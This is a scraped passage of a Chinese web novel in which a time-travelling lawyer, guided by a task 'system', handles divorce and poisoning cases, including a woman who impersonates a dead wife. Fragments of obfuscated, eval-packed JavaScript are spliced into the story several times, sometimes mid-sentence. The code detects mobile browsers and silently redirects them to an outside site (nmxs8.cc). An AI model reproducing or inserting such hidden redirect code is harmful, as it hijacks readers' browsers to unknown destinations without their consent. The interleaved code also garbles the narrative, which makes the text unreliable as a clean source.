“何况殿下现在羽翼未丰,不能和太子正面抗衡。即便这个孩子是他的,在这个时机他选择暗中让孩子流产,既避免直接与太子冲突,又能争取时间积蓄力量。这一切对他有百利,而仅仅需要牺牲一个尚未出世的孩子。” 白芷柔颓然地坐在那里,浑身的精气仿佛都被抽走了。许久她道:“我明白了。” 崔令仪转头看向谢珩,“谢大人,令仪不负所托。接下来有请谢大人来处置此事。” 密室里的东西目前还证明不了萧临渊一定会造反,拷问他甲胄兵刃,他推说是给自己部曲准备的,便无法再问。他在朝中多年,根基颇深,《周律》中对妇女权益又缺乏保障,何况一个还没有人权的孩子。 想要这样扳倒萧临渊是不可能的。 按照《周律》,已着手实施杀人行为,因犯人改变主意以外原因未得逞的为未遂,通常比照既遂犯从轻或减轻处罚,或可能处三年以上十年以下有期徒刑。再说他企图谋杀的又是他的妻子,按律罪减二等,也就是可能处三年以下有期徒刑、拘役或者管制。 但是周朝是没有什么有期徒刑或是拘役管制的。 谢珩道:“按照《周律》,赵王萧临渊杀人未遂,本应处流刑三年。但因他所谋害的乃是赵王妃,罪减二等,即改为减为徒二年半。之后下官会将此事禀明刑部,与李侍郎商议以后再做定夺。” 系统的提示音在她脑中响起。 【恭喜宿主任务完成,和离值+3,寿命+3日】 【宿主可以查询系统商城,通过和离值兑换物品。】 崔令仪虽然听了判决,但心中却并没觉得松一口气。此事大约就是高高拿起,轻轻放下,再不会有结果了。 她再看向白芷柔,不免有一些同情。 她解决完这个案子,想必和他们夫妇就不会有什么瓜葛了,但白芷柔却要和他一直在一起。他们是原书的男女主,想要分开,应当是非常困难的事。 白芷柔坐在一旁,神色复杂。她看向崔令仪,欲言又止。 崔令仪走到她身侧,虽然知道很多事情都不是她自己选的,但是现如今,崔令仪也希望她能够摆脱原剧情的束缚,能真正过上如正常人一样的生活。 崔令仪低声对她说:“我知道过去我待你不好,你不信任我。但是没关系。” “以后如果你真有走投无路的一天,你就来找我吧。” 她将阿阮绣好的绣帕递给白芷柔。绣帕上边的花样正是阿阮按照她的意思改良的,依稀可以从针法之中辨认出“贞静女德研修班”几个字。 她看向白芷柔,微微地笑了笑。 崔令仪从她身侧站起来,身后跟这谢珩与数十个衙役,毅然决然地走进天光里。 暖风熏得人醉,有盛开的桃花,将枝条探入窗中。 崔令仪渐渐走到庭院外边去,踏碎一地春风。 已经是春天了。 白芷柔后知后觉地想。 她在黑暗里太久太久,已经忘记了春天是什么感觉,甚至连怎么样是活着,都已经不太记得了。 崔令仪回家去狠狠补了一觉,午饭之后又去了女德班,里头许多人跟她都已经很熟悉。她把这一夜的惊心动魄跟大家都讲了,大家毫不犹豫地站在她身边,批判起萧临渊。 “这世上怎么有这么坏的男人,连自己的妻子和孩子都能下得去手!” “话说回来,赵王妃那边,真的没问题吗?”一个女学员担忧地问道。 崔令仪摇了摇头:“我也不知道。但这是她的人生,我们只能尽力而为。” 如果白芷柔自己不能想开,与萧临渊和离的话,那么就算是天王老子也帮不了她。 说着她忽地响起她的判官笔,在脑海里问自己的系统:“下一个任务是什么,我迫不急的地想要完成了。” 【请宿主在十日之内完成第四个主线任务:帮助茶商嫡女沈玉棠成功和离并追回全部嫁妆。】 【奖励:和离值+10,寿命增加10日。】 【任务失败,宿主将被即刻抹杀。】 这次任务怎么给的时间和积分不一样? 崔令仪警惕地嗅到一丝危险的气息。 翌日,有人给她送来书信,称是听闻崔令仪破解了赵王妃流产一案,并搞得赵王在京中声名狼藉,心中十分仰慕,想邀请她过府一叙,共同处理一件和离公案。 落款是一个“沈”字。 想必这就是任务对象了,崔令仪想。 为了打赢这场硬仗,她特意早睡晚起,以极度精神饱满的状态来迎敌。 后日清晨,崔令仪乘坐沈府的马车碾过青石板路,停在朱门之前。 沈家做的是茶叶生意,可是车帘掀开,她先嗅到的不是茶香,而是一股若有若无的霉味,像是陈年的茶叶混着潮湿的木头,又像是某种药材的清苦。 崔令仪对气味很敏感,情不自禁地掩住鼻子。她后知后觉地想到,沈夫人不是外嫁女吗,她怎么会在自己家约见自己? “崔姑娘,我家小姐等您多时了。”管家躬身引路,崔令仪也没急着动,目光扫过沈府门楣。朱漆剥落处露出暗褐色的木纹,立柱上苔色斑驳,显然许久未修缮过了。 崔令仪伸手在门框上一抹,指腹沾了一层薄灰。 “你俩老爷不在府上?”她随口问道,脚步却已跟着管家往里走。 “老爷去徽州查账了。”管家答。 崔令仪应了一声,没再多问。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392353|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈玉棠正坐在梳妆台前,铜镜映出她半张苍白的脸。听到脚步声,她转过身,望着崔令仪,显出个温柔和婉地笑容:“是崔小姐啊,妾身久闻您的大名了。” 崔令仪不动声色地打量着眼前的沈玉棠,只见她一身素衣,发髻简单,相貌十分端庄大气,但眉宇间却透着一股不易察觉的愁绪。 还有一个问题,为什么这次系统没有用大金字来提醒她,这个是她的任务对象呢? “沈小姐客气了,令仪不过做了些分内之事,不足挂齿。”崔令仪回应道。 沈玉棠微微欠身,请崔令仪坐下,又吩咐丫鬟上茶。崔令仪接过茶盏,轻抿一口,只觉茶香淡薄,做茶叶生意的人家,怎么能拿这种陈茶来待客呢。 “沈小姐今日邀我前来,不知所为何事?”崔令仪问。 沈玉棠叹道:“崔小姐,妾身有一事相求,还望您能出手相助。” “沈小姐请讲,若我能帮得上忙,定当尽力。” 沈玉棠咬了咬嘴唇,似乎下定了某种决心:“妾身自嫁入周家,一直恪守妇道,尽心尽力地操持家务。可夫君他,却始终对我冷淡无情,还时常在外沾花惹草。更过分的是,他竟背着我在外头养起了外室。妾身实在是忍无可忍,想要和离,却又担心家族声誉受损,更怕拿不回自己的嫁妆。” 崔令仪点了点头:“此事还需从长计议,你且将你家夫君的种种劣迹,以及你嫁妆的清单,都详细说给我。我再想办法,帮你一一讨回。” 沈玉棠连声称谢,当即吩咐丫鬟取来笔墨纸砚,开始书写嫁妆清单。 崔令仪趁着沈玉棠正提笔写字,先环顾了一圈屋内——妆台上胭脂水粉齐整,床榻上的锦被却凌乱不堪,像是有人夜里辗转难眠。梳篦上缠着几根长发,发梢分叉枯黄,不是养尊处优的千金该有的发质。 “周明远娶我,不过是为了沈家的茶山。”沈玉棠一边回忆,一边道,“成亲之初,周明远待我还算客气,可后来沈家的茶山接连遭了几次虫害,收成不好,他待我便一日不如一日了。我嫁妆里的田产铺面,他也想法子占去大半,只留些不中用的给我。” “非但如此,他现在对我日日非打即骂,甚至多次重伤与我,这次是因我父亲离京去查账,我才能借口家中无人,回来暂住,否则根本不能约见崔小姐。”沈玉棠翻开自己的衣袖,显出手臂上狰狞的烫伤。那伤痕从手腕一直延伸到肘窝,皮肉翻卷处已经结了深褐色的痂,像是在火上燎烤所得,即使长好了也像是永久性的伤口。 “他还逼我签了一份契书,若三年无所出,嫁妆尽归周家。” 这种契约在法律上根本站不住脚,只因嫁妆乃女子私产,夫家无权处置。但契约已经签下,该当如何,还要等契约拿来,看到完整的内容才行。 她刚要开口,窗外突然传来一声轻响,像是有人踩断了树枝。 敢偷听你姑奶奶,崔令仪放下茶盏,缓缓站起身。她示意沈玉棠继续说,人却悄悄走到窗边,猛地推开窗棂,只见一个身影慌慌张张地想要逃跑。 “站住!”崔令仪喝道。 12. 第 12 章 门外一个身形肥胖的老年妇女正愣在那里,脚下是一根断掉的树枝,她正要逃跑,可是却行动迟缓,宽厚的梁柱也并没有挡住她的身形。 “你是何人?在这里鬼鬼祟祟地干什么?”崔令仪厉声道。 那妇人脸色苍白,支支吾吾地道:“我……我只是路过……” “路过?”崔令仪挑眉,“那你告诉我,沈大小姐的房价,是哪个路人可以随便路过的?这就是你们府上的家教么?” 随后,沈玉棠走到她身侧,瞧见那妇人的脸,情不自禁一怔:“苏嬷嬷,怎么是你?” “我是来给夫人送茶的。”苏嬷嬷一见到沈玉棠,反而震惊下来,她把手中的茶盘高高举起,口中道,“夫人要见客,当然要有茶了,老身是来给夫人送茶的。” 崔令仪微微一挑眉。 沈玉棠道:“那还不抓紧拿进来,你在外边鬼鬼祟祟什么?崔小姐可是尚书府的千金,开罪了她,就是官人也吃罪不起。” “是。”那苏嬷嬷低眉顺眼地应了一声,看向沈玉棠的眼神有一些不屑。 她将茶盘递进屋内,放在桌上,又偷瞄了一眼崔令仪。沈玉棠却不以为意,她轻轻一笑,道:“崔小姐,别教不相干的人扰了今日谈论诗书的雅兴。” 崔令仪笑道:“那当然好。可是我见这位嬷嬷气势不凡,应当是周府的嬷嬷?” 沈玉棠点点头:“崔小姐,这是我婆母的贴身的嬷嬷,已经用了三十多年,也是我的半个长辈了。” 崔令仪问道:“果然如此,难怪苏嬷嬷这样勇猛不凡。苏嬷嬷识字吗?” 苏嬷嬷道:“是,多谢小姐夸赞。老身不识字,哪有那种好福气,能和小姐这样识字呢?” 崔令仪笑容更深:“不识字啊,嬷嬷也不要妄自菲薄。我听说,有些不识字的人,心眼儿可是挺多的。” 苏嬷嬷不识字,摆在这里的东西似乎就不用避讳她了。随后沈玉棠挥退苏嬷嬷,请崔令仪尝尝新茶。 苏嬷嬷斟来的茶确实香气扑鼻。 崔令仪拿起沈玉棠写好的清单,细细看了起来。纸上的字迹工整清秀,但笔锋处却隐隐透着几分怯意,像是写字的人极力模仿某种风格。崔令仪对于书法不大了解,跳过了再看嫁妆条目,金银细软不计其数,还有江南茶山十座,田宅地产,可谓十里红妆,如此想要将她的嫁妆讨回,难度确实不小。 崔令仪轻轻揉了揉额角。这桩案子看起来像是个普通的财产纠纷案,按现代的律法来说,嫁妆为女方婚前个人财产,如果男方强行占用,可起诉侵占罪。而且从沈玉棠的丈夫逼迫她所签署的契约来看,明显是属于违背公序良俗的无效条款。甚至男方对沈玉棠的迫害甚至可能涉及刑事,是个难度较低的案件。 但这里是大周朝,是个法外狂徒的世界。 《周律》规定,在家暴案中丈夫殴打妻子,会罪减二等,并允许丈夫赎刑。至于侵吞妻子嫁妆的问题,《周律》认为女性的嫁妆不是家庭的共有财产,同时,只有男方作为女方丈夫的情况下才能获得对妻子嫁妆的共同所有权。所以相对于男方家庭而言,嫁妆是女子独立拥有的,且不能被分配或继承。 但是在现实生活中并没有这么简单,因为女子会在公中资金不足的情况下用自己的嫁妆补贴家用,同时,女子孝敬公婆、姑舅,打赏仆婢,共同养育子女,都会涉及到嫁妆的再分配,所以一个女子提出要全额追回嫁妆,显然是不切实际的。 而且按照系统的德行,这个案子一定不会像它在表面上呈现出的那样简单。 崔令仪拿起茶盏,打算喝一口,却在馥郁茶香中嗅到一丝苦杏仁的气息。 《名侦探柯南》忠实读者崔令仪立即意识到,这是氢氰酸的味道。 “这茶叶是什么?”崔令仪放下茶盏,看向沈玉棠。 沈玉棠道:“是雨前龙井,是正当年的新茶。” 崔令仪冷笑。 哪有雨前龙井会有氢氰酸的味道?崔令仪拔下发髻中的银钗置于茶碗中,由于氰根离子会与银发生反应,生成黑色的化学物质,所以银钗迅速变黑。 “有人在茶中下毒?”沈玉棠问。 崔令仪道:“这应当是氢氰酸,有剧毒。一般中毒后,人会很快出现呼吸困难、心跳加快、头痛、头晕、乏力等症状,严重时会惊厥、昏迷甚至死亡。” “你可以回忆一下,以往有没有在喝茶之后遇到过相似的情况,而如果这是第一次下毒,必然是有其特殊的目的。” “求崔小姐救我!” 沈玉棠立即跪在她身侧,手指紧紧攥住崔令仪的衣袖,骨节发白。 “你先起来。”崔令仪伸手虚扶她了一下,“你先回答我的问题。” 沈玉棠思量许久,道:“应该是第一次下毒,我似乎从没在饮茶之后感受到类似的不适感。” 崔令仪微微地挑眉。 如果说苏嬷嬷下毒暗杀主母,怎么会选在主母接待外客的时候下毒,除非,这毒是下给她的。 可是沈玉棠费劲把力地将她请来了,又为什么要杀她? 思至此处,她看向沈玉棠,只见对方面色苍白,眼中满是惊恐无助,全然不似作伪。 “沈小姐,你先别急,此事还需从长计议。”崔令仪稳住心神,先安抚沈玉棠道,“你且想想,最近府上可有什么异样?” 沈玉棠闻言,立即细细思索起来。片刻后,她仰头看向崔令仪,双唇微微颤抖,道:“有!最近夫君对我管束极严,不许我出门,也不许我与外人通信。我本以为他是怕我与娘家联系,想要侵吞我的嫁妆,现在看来,只怕是另有图谋。” 沈玉棠一口咬定她的夫君周明远是个坏人,周明远对她心怀不轨,竟还公然让自己母亲身边的嬷嬷对自己的发妻下毒,可以想见是想要沈玉棠的遗产,逻辑非常通顺。 可是太巧了。 早不下晚不下,偏偏在崔令仪在这里的时候下毒。倘若崔另仪没有查觉不妥之处,喝了,她被毒死,这个锅仍然要扣在周明远身上,而且会因为她的崔尚书家的千金而进行更严苛的追责。 崔令仪神思恍惚地坐上马车,阿阮正在一侧等她。 崔令仪问:“今日女德班怎么样?” 阿阮答道:“请大小姐放心,没有什么异常。” 崔令仪轻轻放松了身子,今天一整日的细节都在她眼前回想,让她觉得不安。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392354|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统为什么没有出现金色的指引箭头?为什么沈玉棠回娘家要带周老夫人的嬷嬷?究竟是谁要给她下毒? 沈府是出了名的江南富商,两年前才搬到京城来,究竟为什么这样破败? 阿阮问:“大小姐,回家么?” “阿阮,去大理寺。” 大理寺的衙役已经都跟崔令仪很熟悉了。她这两次大出风头,人人都对她刮目相看,听闻她要见谢珩,不敢拖延,迅速前去回禀。谢珩已经在庑房中休息,见她来,只披了一件单薄的外衫。 崔令仪第一次见到这样柔软的谢珩。 他适才沐浴过,头发只松松挽起,身上是青色的布衫,连眉目都是湿漉漉地,仿佛是浸润了雨水的松柏。他手持案卷正挑灯夜读,见了她,挑起眉尖,眉头底下双目如深潭,晕开了一片火烛。 崔令仪措手不及的看见他这样,竟还认不出,许久才试探地问:“谢大人?” 谢珩展颜:“亏本官还以为你和本官已经有深厚的交情,可不想本官换了身衣服,你竟就认不出来了。” 崔令仪道:“我是有正事要求见大人。大人与新科进士周明远同朝为官,不知对他为人可熟悉?” “我与周明远无甚私交,只知道他好像在翰林院任职。”谢珩道,“其人直言敢谏,文采斐然。此前高丞相在朝中实行变法,其中的青苗法有不合理之处,有可能给百姓增加负担,他多次上书针砭时弊,即便眼下被高丞相一伙打压,贬去修书,但我想有朝一日,史书也会为他正名。” “我要问的不是这个。”崔令仪道,“你知道么,他妻子要跟他和离。” “他妻子说他侵吞嫁妆、家庭暴力,经常殴打于她,今日我在她府上,更是有人给我呈上有毒的茶水,我想了解他的情况。” 谢珩却道:“怎么又是这种案子。” “崔令仪,你有才华,有能力,观察入微,见微知著。”谢珩道,“你说你要做讼师,我不拦你,但你整日却围着这些深闺妇人打转,殊不知天下有更多人更加需要你的才华。” “你看这个案子,仓前镇村民葛二牛暴病身亡,其妻被怀疑与杨大鼎通奸谋杀,杨大鼎被衙役屈打成招,承认与妻有奸情,参与了谋杀葛二牛。” “这案子递到我面前,我尚且觉得有异,何况你呢?你若是能同我一起,想必一定可以迅速看破这个案子的端倪,能够证明杨大鼎的清白。可你每日围着这些家长里短打转,我着实觉得可惜。” 一阵冰冷的夜风吹过,飞蛾冲向火烛,兀的,灯花爆裂,发出一声脆响。 崔令仪道:“你要是不愿帮我,我就走了。” 这是系统的任务,是她无论如何都需要完成的事。一旦没有完成,她会死在一切的前头。 而她现在还不能死。 大判官笔还没得到,她的积分还不够,崔令仪穿越至今,唯一真正帮到的一个人,只有被丈夫一纸诉状送上公堂的阿阮。 “崔令仪,我跟你说这些是为了你。难道我不知道你的女德班私底下在教那些妇人什么?现今我对你睁一只眼闭一只眼,可要是被礼部知道了呢,被赵王知道了呢?被其他跟你站在对立面的人知道了呢?” 13. 第 13 章 月色很寂静,一时间她简直能听见自己心跳的声音。 她有点想笑。 千百年间,女人的故事都淹没在尘埃里,以至于有个人想要把这些故事们从灰尘里扒出来,略微擦一擦,只是这样都不行。 崔令仪听见自己问:“女人不是人吗?” “杨大鼎的命是命,阿阮的命就不是命,白芷柔的命就不是命,乃至于,沈玉棠的命就是不是命?” “女人的案子,就是家长里短,就怪她们是深闺妇人。谢大人,阿阮的惨状,白芷柔的惨状,你都看见了,她们的苦难并不因为她们是女人而就变得不苦了。能像阿阮一样选择和离的女人又那么少,世上有几个真正能依靠自己从苦难里解脱出来的女人?” “世界上已经有那么多的人去帮男人说话了,有那么那么多个,就真的缺我一个吗?” “就真的缺我一个为他们讨回公道,就真的缺我一个去帮帮他们?谢大人,你若不愿意帮,直说便罢了,我也不会因为没有你的帮助就办不成这个案子。这个案子本也不走大理寺,而是要走京兆府。” 眼前的谢珩像是她从不认识的人。或许她本身就不该对于一个生活在封建时代的男子多所期待,他注定不可能永远和她站在同一边。 利益既得者当然会漠视失权者,这是永远写在人类社会中的主题。 “谢大人,今日是我冒昧。以后我不再会用这种‘家长里短’的案子再叨扰大人了。”崔令仪深深看他一眼,转身欲走,“告辞。” “且慢。” 谢珩喊住她。 “明日午时,千味楼。” “我会约他来,你要问什么,怎么问,都随你。” 夜色已深,大理寺外的街道上只有零星几盏灯笼散发着昏黄的光。马车正朝着尚书府行进,崔令仪支颐望着夜色,街巷静谧,天星长明。 这条路太长了,仿佛怎么走都走不到尽头。她可能一时半会儿还死不掉,冥冥之中她来到这个世界,让她做一些有意义的事情,她不知道能走多远,而且,她也没有别的选择。 今日谢珩的态度也算给她提醒了,他不可能永远和她站在一头,他绝不是她最可靠的队友。 次日午时,千味楼。 崔令仪隔着屏风与谢珩二人不能同席,席间谢珩与周明远畅谈国事,颇有相见恨晚之意。崔令仪屏息静听,觉得昨日谢珩给他的定义倒是没有什么问题,此人心怀正义,言谈之间有忧国忧民之意。 酒过三巡,崔令仪头戴帷帽过来与他二人祝酒。 周明远相貌温润,一身书生气,给人颇有亲和之感。他似乎酒量不佳,双颊已染上飞红。 崔令仪举杯问他:“周大人这般少年英才,不知道可成亲了没有?” 周明远道:“业已成婚,贱内是江南茶商沈昌峰之女。” “夫妻感情怎样?我娘家有个远方的妹妹,虽然是庶出,但人才品貌俱佳,与大人十分相配,若大人不嫌弃,就教她跟在大人身边,就是做个妾也是好的。” 却不想这话竟触怒了周明远,周明远掷下手中酒杯,望着谢珩,口中却道:“谢兄,原来你今日相邀,打的竟是这样主意。” “谢兄,我当你光风霁月,无与世俗同流合污,不想你竟是这样的人,算我看错了你。我与我妻,恩深义重,我此生绝不会纳妾,谢大人不必再问了!” 说着他竟起了身,摇摇晃晃地要走。 崔令仪也自酒桌之前起身,扬声叫住他:“既如此,你妻子为什么要跟你和离?” 周明远果然被她问的一怔:“你说什么?” “我说,你既然跟你妻子恩深义重,感情甚笃,她为什么还要跟你和离?” “我不妨实话跟你说了,你的妻子沈玉棠,前几日写信给我,声称你日日殴打于她,还在她的茶中下毒,意欲将她毒死,好图谋她的家财!” “我问你,周明远,却有其事否?” 周明远仿佛兜头一盆凉水浇过。 “我的妻子?” 良久他道:“不,那不是我的妻子。” “我的妻子明明在两年前就已经死了。” “两年前,我妻子病故,临走那一刻,也是我握着她的手,是我送她走。后来也是我送她回江南安葬,她说,她最喜欢江南的好春光,我为了让她能够永远看见江南,我将她葬在紫金山上。” “我在紫金山上搭了草屋,为她守了一年妻孝。我原本想就这么随她去了。可我身为朝廷士子,我还没能给天下百姓尽一份绵力。高丞相所施青苗法,使我大周如今饿殍遍地,民不聊生,我不能就这么随她走。” “我要等朝廷废止重税、百姓能安居乐业才行。便是我活着见不到那一天,我在黄泉下也能含笑。” 有一阵寒意顺着崔令仪的脊梁爬上来,她后知后觉感到恐怖。 “你的妻子确实是沈玉棠,没错吧?” “是,我妻乃沈氏玉棠。” “那你岳丈呢,现在何处?”崔令仪追问。 “我岳丈在我妻子过身以后,就已经搬回江南了。”周明远道。 “那我昨天见到的是谁?”崔令仪喃喃自语道。 她恍然大悟,为什么系统没有给她箭头指引,只因为昨日她见到的那个,根本不是沈玉棠! 她说为什么沈家的院子那样破落,无人修整,原来是因为,沈家人早就搬走了,她去的是一座空宅。 崔令仪仔细向他描绘了昨日她所见到的那位“沈玉棠”的面容,周明远却道:“虽然听起来好像很像,但一定不是。玉棠右眼下有一颗鲜红的泪痣,若你见到,一定对那颗泪痣印象深刻。但你始终不曾提及,那一定是没有的,一定不是她。” 她又问:“那沈玉棠有没有什么姐妹?” 周明远道:“我不知道。” “我和她成亲时原本是没有的,但后来外边有人传我岳丈在外曾有私生子。但我问过玉棠,她说没有,那我就相信她。只是小姐这么问我,我不能给你一个准确的答复。” 一个死去两年的人,怎么可能突然复活,还出现在她的面前? 除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392355|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非,眼前的一切,都是有人精心布置的。 想到此处,她猛地看向周明远,问道:“周大人,你母亲可有一个贴身的嬷嬷,叫做苏嬷嬷的?” 周明远仔细想了想,道:“我不知道你说的是不是同一个人。我家里确实有一个苏嬷嬷,可她仅仅是在外院伺候的,不是我母亲用惯的人。” 见崔令仪陷入沉吟,周明远忙问:“难道,是苏嬷嬷假扮玉棠,来陷害我?” 崔令仪:? “苏嬷嬷跟你老婆长得很像吗?” “那倒也没有。”周明远道,“苏嬷嬷今年都六十多岁了。” 崔令仪:…… 崔令仪坐在一边不理他,生闷气。谢珩只好出来打圆场:“目前的情况,我们需要先确认那个冒充沈玉棠的人的身份。她究竟是谁,为什么要这么做,目的何在。她还给崔小姐下毒,那是不是有人想要借机把崔小姐毒死,嫁祸给周兄。” 周明远神色凝重:“只是,我实在想不出,究竟是谁要如此费尽心机地来冒充我夫人,陷害于我。” 崔令仪沉思片刻,道:“周大人,你能不能让人去江南打听一下,看看你岳丈那边有没有什么异常情况?” 周明远问:“崔小姐是怀疑,这件事跟我岳丈有关?” 崔令仪摇了摇头:“我不知道。但沈玉棠已经去世两年,突然出现一个跟她一模一样的人,这本身就很可疑,或许与你岳丈那个私生子有关。” 周明远点了点头:“好,我这就让人去办。” 谢珩却道:“我却觉得,此事是出自京中。” “周兄多次在公共场合反对高丞相,反对青苗法,甚至一度让陛下有所动摇。丞相一党盘根错节,倘若有人想要借此机会栽赃周兄,也不是没有可能。” 谢珩说的确实也有理。 只是既然如此,为什么会选她呢。 是因为她更好骗,随便写一封信就会去?那不可能,自她穿越以来,有无数邀请她去诗会、赏花的帖子,她都没去,她并不是很好请的人。 但退一步说,只有请她帮忙和离的女人才能把她请出来。 崔令仪怔怔,有什么讯息从她脑中一闪而过。 谢珩道:“不过我也赞同崔小姐说的。目前最重要的,是先找到那个冒充沈玉棠的人,弄清楚她的身份和目的。同时,周兄也要加强防范,以免被人陷害。” 周明远道:“我会的。” 崔令仪又道:“对了,周大人,你说你妻子是病故,那她生前可有什么异常?” 周明远仔细想了想:“她生前并没有什么异常,只是那日突然说身体不舒服,请了大夫来看,也说不出是什么原因。没想到第二天,她就去了。” 崔令仪皱眉:“她死前,有没有出现过呼吸困难、心跳加快、头痛、头晕、乏力之类的症状?” “有。”周明远道,“她有,她一直说头痛,上不来气,心悸心慌。” 符合氢氰酸的中毒症状。 崔令仪道:“周大人,你妻子,恐怕是中毒而死的。” 14. 第 14 章 “中毒?!”谢珩和周明远异口同声地问。 “是,可是你为什么没有想过,她毒发这样快,是有人给她下毒呢?”崔令仪问。 周明远颓然坐下,他捂住脑袋,极为哀恸。但是半晌之后他仍是道:“我家一向与人为善,从未与人结仇。我家里家庭关系简单,父亲早逝,寡母一人将我拉扯长大。且我寡母性情温和仁厚,自我成婚后,从不干涉我与玉棠,与玉棠相处十分融洽。至于玉棠,她一向温婉贤淑,待人接物都极为周到,我实在想不出她会得罪什么人。” “我家里仆人也不多,都是母亲用惯的人,底细都清清白白。我日日与她同吃同住,凡她吃的东西,我也一定吃过的。玉棠那时病的很急,请来大夫,大夫只搭了脉就说不好了,要我准备后事。之后没过多久,玉棠就断气了。” “因此我从未想过她是被人毒死的。” “是谁毒死了玉棠?” 崔令仪道:“时间过去太久,很多证人证物已经都没有了,现在想找出是谁毒害了沈玉棠,恐怕已经很困难了。” “而且我有个想法。” 崔令仪点开系统界面,瞧见鲜红的倒计时七日,道:“说不定沈玉棠,并没有死呢?” “你说什么?玉棠可能没有死吗?”周明远道,“那她为什么不回来见我?难道她不知道我又多么思念她么?” “事到如今我也不瞒你们,我曾多次寻死,只为了能与她生同衾,死同穴。只是后来,后来……” “我真的梦见过她一次。她在梦中对我说她会一直等我,要我别心急,让我完成,我还未完成的事。难道她真的没有死,难道我梦见的真是她?” 周明远又哭又笑,其情状令外人也情不自禁感同身受。 崔令仪回想起自己的任务内容,由衷地感受到一种违和感,却又不知该从何说起。 帮助茶商嫡女沈玉棠成功和离并追回全部嫁妆。 茶商嫡女。 为什么是嫡女?周明远不是说沈玉棠没有姐妹吗。 而且已经死去的人,又该如何和离呢,嫁妆对于她而言,又有什么意义呢? 崔令仪抿了抿唇:“周大人,你先别太激动。我是说,或许沈玉棠当时并没有真的死去,而是有人故意制造了她死亡的假象。至于她为什么没有回来找你,这其中的原因恐怕很复杂,目前我们还不得而知,我需要更多的线索。” 周明远闻言,神色稍定。 “那,崔小姐,你说我们现在该怎么办?” 崔令仪看向谢珩,二人目光交汇,谢珩向她点了点头。 “我们分头行动。周兄,你派人去江南打听你岳丈的消息,同时加强府中的戒备,以防有人再对你下手。我会认真排查最近京中的可疑人物出现,特别是与沈玉棠长相相似的人。” “崔小姐,你呢?”周明远问她。 崔令仪道:“我打算再会一会那个冒充沈玉棠的人,或许能从她身上找到突破口。” “她一次杀我不成,必然会有第二次。” 周明远闻言,神色一紧。 “崔小姐,你一个人去太危险了。要不,我陪你一起去吧。而且我也想见见那个冒充玉棠的人。” 崔令仪道:“周大人,你如今还是尽量少出门为上。” 周明远见状,只好作罢。 “那好吧,崔小姐,你一定要小心。如果有什么线索,可以随时来府上找我。” 崔令仪点了点头。 周明远先行告辞。 待他走后,崔令仪看向谢珩:“你说,沈玉棠究竟有没有死?” 谢珩沉吟片刻,道:“目前所有的证据都指向她已经死了,但或许,真的有什么线索是我们尚未发现的。” 崔令仪道:“这次的案子,从一开始就透着古怪。先是沈玉棠突然要求和离,然后是冒充她的人出现,再然后又是这一系列的事情。太奇怪了,真的太奇怪了。” 谢珩从怀中掏出一块令牌递给她:“这是大理寺的腰牌,你拿着它,或许会有用。” 崔令仪没有推辞,接过令牌,道:“多谢大人。” 谢珩虽然不可靠,但他终于拿出了可靠的东西。有了这块腰牌,她便可以在外狐假虎威了。 她明明只是个律师,不明白为何竟会如此,竟然沦落到需要探案的余地。这次的案子原本更像是她的本职工作,但竟然越细看,越令人觉得诡异。 当务之急,是一定要找到真正的沈玉棠。 崔令仪乘车回了尚书府。 管家意外于她今天怎么回来的这么早,却还不等他询问,崔令仪先对他道:“张叔,最近有没有找我赴宴的帖子,全都拿过来。” 管家依言称是,给她拿出了厚厚一沓花笺供她检查,崔令仪一页页翻着,目光在每一封帖子上停留,仔细辨认笔迹。然而,这些帖子笔迹各异,并无什么相似之处。 她将前天收到的那封来自假沈玉棠送来的信和其他的新建已经对比。原本花笺上的笔迹是娟秀的簪花小楷,似乎并没有什么特别之处,与假沈玉棠给她写的嫁妆单子笔迹也十分一致。然而,在这厚厚一沓帖子中,她却并没有找到与那封信笔迹相似的帖子。 难道说,这个人在此前并未给她下过帖子?还是说她已经十分小心,故意改变了笔迹? 崔令仪眉头紧锁。 她将这些帖子平铺放在书桌上,静默观察良久,最终在其中一封帖子的纸张上,嗅到一点轻微的茶香。 是昨天那种雨前龙井的味道。 崔令仪心中一动,立刻拿起那封帖子仔细查看。帖子是半月以前,朝中有一位协律郎的夫人发给她的,亦是邀约她前去品茶。 崔令仪在心中记下这位协律郎的名字,如此只能去问谢珩。阿阮正在一旁为她打扇,月色正好,阿阮已经昏昏欲睡,门外蝉鸣响彻,崔令仪看的心烦。眼看这一天就要过去,距离完成任务只剩下六天,可她现在毫无线索,整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 